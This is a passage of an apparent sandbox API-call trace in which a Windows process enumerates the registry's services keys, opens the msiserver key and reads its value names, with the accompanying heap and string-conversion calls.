returned 0x1de5d90 [0259.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0259.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.738] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0259.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0259.738] RegEnumKeyW (in: hKey=0x160, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0259.739] RegEnumKeyW (in: hKey=0x160, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0259.740] RegEnumKeyW (in: hKey=0x160, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0259.741] RegEnumKeyW (in: hKey=0x160, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0259.742] RegEnumKeyW (in: hKey=0x160, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0259.743] RegEnumKeyW (in: hKey=0x160, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0259.744] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.745] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.746] RegEnumKeyW (in: hKey=0x160, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.746] RegOpenKeyExW (in: hKey=0x160, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0259.747] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0259.747] RegCloseKey (hKey=0x160) returned 0x0 [0259.747] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.747] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0259.747] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.747] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.748] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0259.748] RegCloseKey (hKey=0x15c) returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0259.748] RegOpenKeyExW (in: hKey=0x160, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0259.748] RegCloseKey (hKey=0x160) returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.748] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.749] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, 